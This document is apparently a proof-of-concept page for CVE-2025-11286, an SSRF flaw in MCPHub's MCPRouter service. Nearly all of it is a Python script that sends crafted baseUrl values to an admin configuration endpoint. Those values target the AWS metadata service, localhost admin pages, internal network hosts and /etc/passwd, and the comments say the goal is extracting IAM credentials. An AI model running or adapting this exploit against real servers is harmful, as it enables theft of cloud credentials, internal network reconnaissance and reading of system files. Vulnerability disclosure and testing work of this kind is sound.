CVE-2025-11286：MCPHub MCPRouter服务SSRF漏洞

# CVE-2025-11286 PoC - MCPHub SSRF via baseUrl manipulation # Reference: https://github.com/August829/YU1/issues/7 import requests TARGET_URL = "https://target-mcphub-server.com" # Attacker needs high-privilege credentials (admin account) AUTH_TOKEN = "<admin_jwt_token>" # Step 1: Identify the MCPRouter endpoint # Typically located at /api/server/configure or similar endpoint = f"{TARGET_URL}/api/server/configure" # Step 2: Craft malicious baseUrl payload # Targeting internal services or cloud metadata payloads = [ # AWS metadata service {"baseUrl": "http://169.254.169.254/latest/meta-data/"}, # Internal service {"baseUrl": "http://127.0.0.1:8080/admin"}, # Internal network scan {"baseUrl": "http://192.168.1.1:8080/"}, # File protocol (if supported) {"baseUrl": "file:///etc/passwd"}, ] headers = { "Authorization": f"Bearer {AUTH_TOKEN}", "Content-Type": "application/json" } # Step 3: Send SSRF payload for payload in payloads: print(f"[*] Testing payload: {payload['baseUrl']}") response = requests.post(endpoint, json=payload, headers=headers, verify=False) print(f"[+] Response status: {response.status_code}") print(f"[+] Response body: {response.text[:500]}") print("-" * 50) # Step 4: Extract sensitive information from response # If targeting metadata service, extract IAM credentials # If targeting internal services, extract admin endpoints